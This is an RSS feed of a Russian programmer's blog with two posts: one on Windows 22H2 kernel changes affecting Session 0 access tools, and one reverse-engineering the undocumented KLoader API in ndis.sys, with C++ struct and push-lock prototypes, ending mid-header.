<?xml version="1.0" encoding="utf-8"?>

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
	<channel>
		<title>Форум программистов и сисадминов Киберфорум - Блоги - _lunar_</title>
		<link>https://www.cyberforum.ru/blogs/172954/</link>
		<description>КиберФорум - форум программистов, системных администраторов, администраторов баз данных, компьютерный форум, форум по электронике и бытовой технике, обсуждение софта. Бесплатная помощь в решении задач по программированию и наукам, решение проблем с компьютером, операционными системам</description>
		<language>ru</language>
		<lastBuildDate>Sat, 05 Sep 2026 14:00:53 GMT</lastBuildDate>
		<generator>vBulletin</generator>
		<ttl>60</ttl>
		<image>
			<url>https://www.cyberforum.ru//cyberstatic.net/images/misc/rss.jpg</url>
			<title>Форум программистов и сисадминов Киберфорум - Блоги - _lunar_</title>
			<link>https://www.cyberforum.ru/blogs/172954/</link>
		</image>
		<item>
			<title>Доступ к терминальной сессии (Session 0) после обновления 22H2</title>
			<link>https://www.cyberforum.ru/blogs/172954/7940.html</link>
			<pubDate>Wed, 08 Feb 2023 09:40:27 GMT</pubDate>
			<description>Дополнительная информация и аттач для скачивания тут...</description>
			<content:encoded><![CDATA[<div>Дополнительная информация и аттач для скачивания <a href="https://www.cyberforum.ru/win-api/thread3079013.html"><font size="5">тут</font></a><br />
<br />
Давно я ничего не писал в блоге, да и ценности в жизни меняются - занимаюсь кодингом всё меньше и меньше, но окончательно бросить всё же не могу (после стольких лет моего увлечения программированием).<br />
А сподвигло меня на новый анализ ядра ОС не так давно выпущенное обновление Windows версии 22H2 (для 10 и 11 версий ОС).<br />
<br />
В своём проекте Kernel Explorer я занимался организацией бесплатного доступа к терминальной сессии - и мне это удалось.<br />
Я спроектировал сервис UI0Detect (подобный сервису в Windows Vista, 7, 8, 10 до билда 1709, а с 1803 этот сервис был жестко вырезан майкрософтом).<br />
В конечном итоге принял решение о публикации исходного кода проекта Kernel Explorer на сервисе GutHub (принадлежащего MS). Но оставил исходный код службы UI0Detect закрытым и не стал выкладывать сурки в паблик.<br />
Думаю в Microsoft покопались в исходном коде моего проекта и немного прифигели от того, что я спокойно предоставил пользователям доступ туда, куда они его запретили начиная с Windows 10 1803.<br />
Поэтому в версии ядра 22H2 было внесено много чего нового. Эти изменения естественно <i>&quot;неожиданным&quot;</i> образом коснулись и Kernel Explorer и драйвера от ребят из FireDaemon, предоставляющего возможность работать в терминальной сессии мышкой и клавиатурой. Но как ни странно изменения не коснулись сервиса UI0Detect, сурки которого я не выкладывал (совпадение?). Мой сервис UI0Detect как работал, так и работает.<br />
В последствии от FireDaemon было выпущено <a rel="nofollow noopener noreferrer" href="https://kb.firedaemon.com/support/solutions/articles/4000123189-firedaemon-zeroinput-0-0-0-5" target="_blank" title="https://kb.firedaemon.com/support/solutions/articles/4000123189-firedaemon-zeroinput-0-0-0-5">предупреждение</a><br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7909&amp;d=1675845463" rel="Lightbox" id="attachment7909" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7909&amp;thumb=1&amp;d=1675845463" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 1.png
Просмотров: 425
Размер:	34.7 Кб
ID:	7909" style="margin: 5px" /></a><br />
Если будет использоваться драйвер FireDaemon ZeroInput в Windows 11 22H2 вы получите цикличный BSOD.<br />
<font size="5"><b>Поэтому не применяйте и не развертывайте этот драйвер в Windows 11 22H2!!!</b></font><br />
<br />
Соответственно и функционал Kernel Explorer, отвечающий за терминальную сессию работал с ошибками.<br />
Вносить изменения мне очень не хотелось про причинам, описанным в самом начале этого блога. Да и развертывать студию я не хотел.<br />
Какое-то время назад я работал в IDE под названием Pelles C - чистый Си, есть отладчик, редактор ресурсов и всё что нужно для написания программы.<br />
Да она кажется устаревшей в плане интерфейса, отсутствия нормальной подсветки синтаксиса и умной подстановки впечатываемых слов, в общем всем тем, к чему привыкли юзеры VS.<br />
<br />
Решил немного освежить в памяти работу с этой IDE. И в итоге написал Kernel Explorer второй версии в облегчённом виде<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7910&amp;d=1675846673" rel="Lightbox" id="attachment7910" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7910&amp;thumb=1&amp;d=1675846673" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 2.png
Просмотров: 327
Размер:	17.7 Кб
ID:	7910" style="margin: 5px" /></a><br />
На данный момент инструмент проходит тестирование, и как только доработаю оставшийся функционал, выложу для паблика.<br />
<br />
Но написать программу это одно, а вот чтобы она работала в новой версии Windows это уже другой вопрос.<br />
Пришлось изучить изменения в ядре ОС. И вот что обнаружилось.<br />
Главным изменением в принципе перехода в терминальную сессию стало то, что основным рабочим столом стал Winlogon (заместо рабочего стола Default).<br />
В этом и проблема. В предыдущих блогах я уже упоминал о том, что рабочий стол Winlogon лишен практически всех функций<br />

<table width="95%"  class="bbcode_maincontainer"><tr><td>
	<div class="bbcode_container">
	  <div class="bbcode_quote">
	    <div class="btbtbt">
		<div class="quote_container">
	      	<div class="bbcode_quote_container"></div>
	       	<div class="bbcode_postedby">
	         	
	        </div>
	        <div class="message">На данном Рабочем столе Winlogon отключено практически всё:<br />
- не работает механизм переключения между Рабочими столами (SwitchDesktop) ни при каких правах (будь то даже система)<br />
- не работает функционал быстрого скриншота PrintScreen и самого копирования (в буфер обмена не передаются данные, хотя у Рабочего стола Disconnect с этим всё в порядке)<br />
- очень странно себя ведут некоторые оконные программы (здесь стоит сделать акцент на то, что этот стол изначально не предназначался для GUI)<br />
И ещё много всякой мелочи, которая усложняет анализ происходящего.</div>
	      </div>
			</div> 
		</div>
	</div>
</td></tr></table>Иначе говоря, при переходе в Session 0 мы попадаем не на Default, а на Winlogon. С этими же изменениями и связана проблема драйвера FireDaemon ZeroInput.<br />
Запихиваем этот драйвер в дизассемблер и видим вот такую картину<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7911&amp;d=1675848637" rel="Lightbox" id="attachment7911" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7911&amp;thumb=1&amp;d=1675848637" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 3.png
Просмотров: 430
Размер:	50.1 Кб
ID:	7911" style="margin: 5px" /></a><br />
Драйвер ребят из FireDaemon просто жестко завязан на рабочий стол Default, отсюда и проблемы совместимости с 22H2 и цикличный BSOD.<br />
Позже может быть напишу им в саппорт и объясню как решить проблему.<br />
<br />
Но вернёмся к моему новому проекту. На данный момент я спокойно осуществляю переход в терминальную сессию, создаю там процессы и они отображаются и работают вполне корректно.<br />
Но есть проблема с выходом обратно в пользовательскую сессию. Т.к. драйвер клавиатуры и мыши не работает, приходится просто смотреть на выполнение программ, которые я тестирую и делать жесткий ресет компа.</div>

]]></content:encoded>
			<dc:creator>_lunar_</dc:creator>
			<guid isPermaLink="true">https://www.cyberforum.ru/blogs/172954/7940.html</guid>
		</item>
		<item>
			<title>Разбираемся в новом API KLoader. Часть 2: Deep Internal Research</title>
			<link>https://www.cyberforum.ru/blogs/172954/7574.html</link>
			<pubDate>Fri, 03 Jun 2022 22:55:35 GMT</pubDate>
			<description>Разбираемся в новом API KLoader. Часть 1: Общие сведения...</description>
			<content:encoded><![CDATA[<div><a href="https://www.cyberforum.ru/blogs/172954/blog7507.html">Разбираемся в новом API KLoader. Часть 1: Общие сведения</a><br />
<br />
Из первой части исследования стало известно, что в реестре Windows 11 есть раздел, который не доступен с правами администратора.<br />
И чтобы узнать что в нём находится пришлось повысить права реестра до уровня СИСТЕМА.<br />
Следовательно, такими мощными правами обладает собственно сама система (ОС) и драйверы уровня ядра.<br />
Первое что потребуется сделать - определить какой драйвер вызывает этот ключ реестра и попытаться найти в глубинах его кода нужные данные.<br />
Этот вызов содержит драйвер ndis.sys<br />
<br />
Посмотрим на функцию <code class="inlinecode">KLoaderReferenceModule</code><br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7571&amp;d=1654291024" rel="Lightbox" id="attachment7571" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7571&amp;thumb=1&amp;d=1654291024" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 1.png
Просмотров: 493
Размер:	22.0 Кб
ID:	7571" style="margin: 5px" /></a><br />
<br />
В современном программировании преобладают такие методы написания кода, как шаблоны, структуры и конечно же классы.<br />
Даже не смотря на то, что это драйвер и здесь по логике должен превалировать классический Си.<br />
Как видно имеется класс <code class="inlinecode">KLoader</code>. Начал реверсить драйвер ndis.sys в части KLoader API.<br />
Ссылка на репозиторий GitHub <a rel="nofollow noopener noreferrer" href="https://github.com/LunarResearch/KLoader-API" target="_blank" title="https://github.com/LunarResearch/KLoader-API">KLoader API</a><br />
<br />
У этого класса есть функция-член <code class="inlinecode">ReferenceModule</code>, которая принимает два аргумента a1 и v2 (первый a1 это просто this класса).<br />
a1 - это структура KLOADER_REFERENCE_MODULE_CONFIG<br />
v2 - это дескриптор KLOADER_MODULE_REFERENCE<br />
Запомним это, т.к. дальнейшее углубление в дебри этого класса потребует сопоставления данных.<br />
<br />
Перейдём в функцию ReferenceModule<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7572&amp;d=1654291804" rel="Lightbox" id="attachment7572" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7572&amp;thumb=1&amp;d=1654291804" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 2.png
Просмотров: 418
Размер:	49.6 Кб
ID:	7572" style="margin: 5px" /></a><br />
<br />
У класса KLoader есть ещё одна функция-член, но уже с индексом К (что намекает на исследуемую api) <code class="inlinecode">ReferenceKModule</code>.<br />
Разберёмся с аргументами функции:<br />
qword_1C00EC190 - как я уже и говорил это всего лишь <code class="inlinecode">this: KLoader *</code> и его учитывать не нужно<br />
v16 - это внутренняя структура с именем класса <code class="inlinecode">KLockHolder</code> (придираться к IDA не станем, правильное имя этой структуры я назову чуть позже)<br />
v17 - это декларируемый дескриптор<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="113446142"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="113446142" style="height: 46px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
</pre></td><td class="de1"><pre class="de1"><span class="co2">#define DECLARE_HANDLE(name) struct name##__{int unused;}; typedef struct name##__ *name</span></pre></td></tr></table></div></td></tr></tbody></table></div><code class="inlinecode">struct KModule *v17</code> и есть дескриптор KLOADER_MODULE_REFERENCE<br />
(опять же не стоит придираться к IDA, дизассемблер итак делает много работы и полный автоматизм просто невозможен)<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="132308259"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="132308259" style="height: 62px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
</pre></td><td class="de1"><pre class="de1">DECLARE_HANDLE<span class="br0">&#40;</span>KLOADER_MODULE_REFERENCE<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">typedef</span> KLOADER_MODULE_REFERENCE<span class="sy2">*</span> PKLOADER_MODULE_REFERENCE<span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Опустимся ещё глубже - в функцию ReferenceKModule<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7573&amp;d=1654292810" rel="Lightbox" id="attachment7573" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7573&amp;thumb=1&amp;d=1654292810" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 3.png
Просмотров: 378
Размер:	67.1 Кб
ID:	7573" style="margin: 5px" /></a><br />
<br />
Во-первых обратите внимание на этот код<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="960594308"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="960594308" style="height: 110px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
</pre></td><td class="de1"><pre class="de1">KLockHolder v13<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
v13.<span class="me1">m_State</span> <span class="sy1">=</span> Unlocked<span class="sy4">;</span>
v13.<span class="me1">m_Lock</span> <span class="sy1">=</span> <span class="br0">&#40;</span>KPushLockBase <span class="sy2">*</span><span class="br0">&#41;</span><span class="kw3">this</span><span class="sy4">;</span>
v13.<span class="me1">m_Region</span>.<span class="me1">m_Entered</span> <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
AcquireExclusive<span class="br0">&#40;</span><span class="sy3">&amp;</span>v13<span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Теперь стали известны члены структуры KLockHolder. Но прежде чем продолжить нужно разобраться с понятийным блоком.<br />
KLockHolder, как я уже говорил, это неправильное имя структуры. Правильное - <code class="inlinecode">KLOADER_REFERENCE_MODULE_CONFIG</code> и вот её прототип<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="810652021"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="810652021" style="height: 110px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
</pre></td><td class="de1"><pre class="de1"><span class="kw4">typedef</span> <span class="kw4">struct</span> _KLOADER_REFERENCE_MODULE_CONFIG <span class="br0">&#123;</span>
&nbsp; &nbsp; KLOCK_HOLDER State<span class="sy4">;</span>
&nbsp; &nbsp; PKPUSH_LOCK Lock<span class="sy4">;</span>
&nbsp; &nbsp; KCRITICAL_REGION Region<span class="sy4">;</span>
<span class="br0">&#125;</span> KLOADER_REFERENCE_MODULE_CONFIG, <span class="sy2">*</span> PKLOADER_REFERENCE_MODULE_CONFIG<span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Я опущу некоторые моменты исследования, т.к. это скучная рутинная работа, и чтобы не забивать этой информацией блог сразу приведу прототипы членов структуры<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="110854786"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="110854786" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="de1"><pre class="de1"><span class="kw4">typedef</span> <span class="kw2">enum</span> _KLOCK_HOLDER <span class="br0">&#123;</span>
&nbsp; &nbsp; Unlocked <span class="sy1">=</span> <span class="nu0">0</span>,
&nbsp; &nbsp; Shared <span class="sy1">=</span> <span class="nu0">1</span>,
&nbsp; &nbsp; Exclusive <span class="sy1">=</span> <span class="nu0">2</span>
<span class="br0">&#125;</span> KLOCK_HOLDER, <span class="sy2">*</span> PKLOCK_HOLDER<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _KPUSH_LOCK <span class="br0">&#123;</span>
&nbsp; &nbsp; EX_PUSH_LOCK ExPushLock<span class="sy4">;</span> <span class="co1">// or EX_PUSH_LOCK from ntos.h</span>
<span class="br0">&#125;</span> KPUSH_LOCK, <span class="sy2">*</span> PKPUSH_LOCK<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _KCRITICAL_REGION <span class="br0">&#123;</span>
&nbsp; &nbsp; BOOLEAN Entered<span class="sy4">;</span>
<span class="br0">&#125;</span> KCRITICAL_REGION, <span class="sy2">*</span> PKCRITICAL_REGION<span class="sy4">;</span>
&nbsp;
&nbsp;
<span class="kw2">class</span> KPushLockManualConstruct <span class="br0">&#123;</span>
<span class="kw2">public</span><span class="sy4">:</span>
&nbsp; &nbsp; <span class="kw4">void</span> Initialize<span class="br0">&#40;</span><span class="kw4">void</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp;
&nbsp;
KLOADER_REFERENCE_MODULE_CONFIG KModuleConfig<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp;
KModuleConfig.<span class="me1">State</span> <span class="sy1">=</span> Unlocked<span class="sy4">;</span>
KModuleConfig.<span class="me1">Lock</span> <span class="sy1">=</span> <span class="br0">&#40;</span>PKPUSH_LOCK<span class="br0">&#41;</span><span class="sy3">&amp;</span>KPushLockManualConstruct<span class="sy4">;</span>
KModuleConfig.<span class="me1">Region</span>.<span class="me1">Entered</span> <span class="sy1">=</span> FALSE<span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>KLOADER_REFERENCE_MODULE_CONFIG это основная структура, которая передаётся функции KLoaderReferenceModule.<br />
В свою очередь функция KLoaderReferenceModule, после обработки данных из структуры, возвращает дескриптор KLOADER_MODULE_REFERENCE.<br />
<br />
Затем вызывается внутренняя функция <code class="inlinecode">AcquireExclusive</code>. Обратите внимание на её имя и на перечисление KLOCK_HOLDER -&gt; Exclusive = 2<br />
Я составил прототип этой функции и функции для Shared = 1 (хотя Shared применяется для самого ndis, а не для KLoader)<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="170514659"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="170514659" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
</pre></td><td class="de1"><pre class="de1"><span class="co2">#include &lt;ntddk.h&gt;</span>
&nbsp;
<span class="kw4">void</span> AcquireExclusive<span class="br0">&#40;</span>PKLOADER_REFERENCE_MODULE_CONFIG pKModuleConfig<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; PKPUSH_LOCK Lock<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; KeEnterCriticalRegion<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; Lock <span class="sy1">=</span> pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>Lock<span class="sy4">;</span>
&nbsp; &nbsp; pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>Region.<span class="me1">Entered</span> <span class="sy1">=</span> TRUE<span class="sy4">;</span>
&nbsp; &nbsp; ExAcquirePushLockExclusiveEx<span class="br0">&#40;</span><span class="sy3">&amp;</span>Lock<span class="sy2">-</span><span class="sy1">&gt;</span>ExPushLock, EX_DEFAULT_PUSH_LOCK_FLAGS<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>State <span class="sy1">=</span> Exclusive<span class="sy4">;</span>
<span class="br0">&#125;</span>
&nbsp;
<span class="kw4">void</span> AcquireShared<span class="br0">&#40;</span>PKLOADER_REFERENCE_MODULE_CONFIG pKModuleConfig<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; PKPUSH_LOCK Lock<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; KeEnterCriticalRegion<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; Lock <span class="sy1">=</span> pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>Lock<span class="sy4">;</span>
&nbsp; &nbsp; pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>Region.<span class="me1">Entered</span> <span class="sy1">=</span> TRUE<span class="sy4">;</span>
&nbsp; &nbsp; ExAcquirePushLockSharedEx<span class="br0">&#40;</span><span class="sy3">&amp;</span>Lock<span class="sy2">-</span><span class="sy1">&gt;</span>ExPushLock, EX_DEFAULT_PUSH_LOCK_FLAGS<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>State <span class="sy1">=</span> Shared<span class="sy4">;</span>
<span class="br0">&#125;</span>
&nbsp;
<span class="kw4">void</span> ReleaseExclusive<span class="br0">&#40;</span>PKLOADER_REFERENCE_MODULE_CONFIG pKModuleConfig<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; ExReleasePushLockExclusiveEx<span class="br0">&#40;</span><span class="sy3">&amp;</span>pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>Lock<span class="sy2">-</span><span class="sy1">&gt;</span>ExPushLock, EX_DEFAULT_PUSH_LOCK_FLAGS<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>State <span class="sy1">=</span> Unlocked<span class="sy4">;</span>
&nbsp; &nbsp; pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>Region.<span class="me1">Entered</span> <span class="sy1">=</span> FALSE<span class="sy4">;</span>
&nbsp; &nbsp; KeLeaveCriticalRegion<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="br0">&#125;</span>
&nbsp;
<span class="kw4">void</span> ReleaseShared<span class="br0">&#40;</span>PKLOADER_REFERENCE_MODULE_CONFIG pKModuleConfig<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; ExReleasePushLockSharedEx<span class="br0">&#40;</span><span class="sy3">&amp;</span>pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>Lock<span class="sy2">-</span><span class="sy1">&gt;</span>ExPushLock, EX_DEFAULT_PUSH_LOCK_FLAGS<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>State <span class="sy1">=</span> Unlocked<span class="sy4">;</span>
&nbsp; &nbsp; pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>Region.<span class="me1">Entered</span> <span class="sy1">=</span> FALSE<span class="sy4">;</span>
&nbsp; &nbsp; KeLeaveCriticalRegion<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>В двух словах, что здесь происходит:<br />
сперва инициализируется структура KLOADER_REFERENCE_MODULE_CONFIG с разблокированной памятью - Unlocked<br />
затем вызывается функция AcquireExclusive, где происходит следующая магия:<br />
ядро переходит в защищенный регион - KeEnterCriticalRegion<br />
вход в память Region.Entered меняется с FALSE на TRUE<br />
далее инициализируется EX_PUSH_LOCK через процедуру ExAcquirePushLockExclusiveEx<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="878180837"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="878180837" style="height: 238px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="de1"><pre class="de1"><span class="kw4">typedef</span> <span class="kw4">struct</span> _EX_PUSH_LOCK <span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="kw4">union</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">struct</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG_PTR Locked <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG_PTR Waiting <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG_PTR Waking <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG_PTR MultipleShared <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG_PTR Shared <span class="sy4">:</span> <span class="kw3">sizeof</span><span class="br0">&#40;</span>ULONG_PTR<span class="br0">&#41;</span> <span class="sy2">*</span> <span class="nu0">8</span> <span class="sy2">-</span> <span class="nu0">4</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span> s1<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; ULONG_PTR Value<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; PVOID Ptr<span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
<span class="br0">&#125;</span> EX_PUSH_LOCK, <span class="sy2">*</span> PEX_PUSH_LOCK<span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>и регион памяти меняется на pKModuleConfig-&gt;State = Exclusive<br />
Функция ReleaseExclusive возвращает всё на свои места и ядро выходит из защищенной области памяти через KeLeaveCriticalRegion.<br />
<br />
Теперь перейдём к функции <code class="inlinecode">CreateKModule</code><br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7575&amp;d=1654295161" rel="Lightbox" id="attachment7575" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7575&amp;thumb=1&amp;d=1654295161" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 4.png
Просмотров: 366
Размер:	41.8 Кб
ID:	7575" style="margin: 5px" /></a><br />
<br />
Интерес в ней вызывает функция <code class="inlinecode">GetModuleServiceName</code>, которая по сути получает имя сервиса, запускаемого через API KLoader.<br />
Аргументом функции служит a1 - это структура GUID, которая является именем раздела KLoader <code class="inlinecode">9C0B898D-6275-48EC-81B4-E5EDBE44B535</code> (см. первую часть).<br />
<br />
Ну чтож, вот и финишная функция, которую мы искали :) круг замкнулся<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7576&amp;d=1654296148" rel="Lightbox" id="attachment7576" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7576&amp;thumb=1&amp;d=1654296148" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 5.png
Просмотров: 417
Размер:	36.2 Кб
ID:	7576" style="margin: 5px" /></a><br />
<br />
Вот кто запускает драйвер ExecutionContext.sys через имя, указанное в реестре, открывая оный с помощью ядерной функции <code class="inlinecode">ZwOpenKey</code> с соответствующими правами СИСТЕМЫ.<br />
Ещё раз покажу раздел реестра, чтобы картинка полностью сложилась<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7577&amp;d=1654296148" rel="Lightbox" id="attachment7577" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7577&amp;thumb=1&amp;d=1654296148" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 6.png
Просмотров: 343
Размер:	25.3 Кб
ID:	7577" style="margin: 5px" /></a><br />
<br />
Осталось выложить исходный код API KLoader (конечно же он неполный, и по мере возможности я буду его дополнять).<br />
<br />
Файл KLoaderDef.h<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="30491137"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="30491137" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
</pre></td><td class="de1"><pre class="de1"><span class="co2">#ifndef _KLOADERDEF_H_</span>
<span class="co2">#define _KLOADERDEF_H_</span>
<span class="co2">#pragma once</span>
&nbsp;
<span class="co2">#include &lt;ntddk.h&gt;</span>
&nbsp;
&nbsp;
<span class="co2">#define SHARED_MEMORY_ALLOC_DURATION_HISTOGRAM &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(L&quot;SharedMemoryAllocationDurationHistogram&quot;);</span>
<span class="co2">#define SHARED_MEMORY_ALLOC_DURATION_HISTOGRAM_AUTO_RESET &nbsp; &nbsp; &nbsp; (L&quot;SharedMemoryAllocationDurationHistogramAutoReset&quot;);</span>
<span class="co2">#define SHARED_MEMORY_ALLOC_DURATION_HISTOGRAM_MAX_HISTOGRAMS &nbsp; (L&quot;SharedMemoryAllocationDurationHistogramMaxHistograms&quot;);</span>
<span class="co2">#define SHARED_MEMORY_ALLOC_DURATION_HISTOGRAM_START &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(L&quot;SharedMemoryAllocationDurationHistogramStart&quot;);</span>
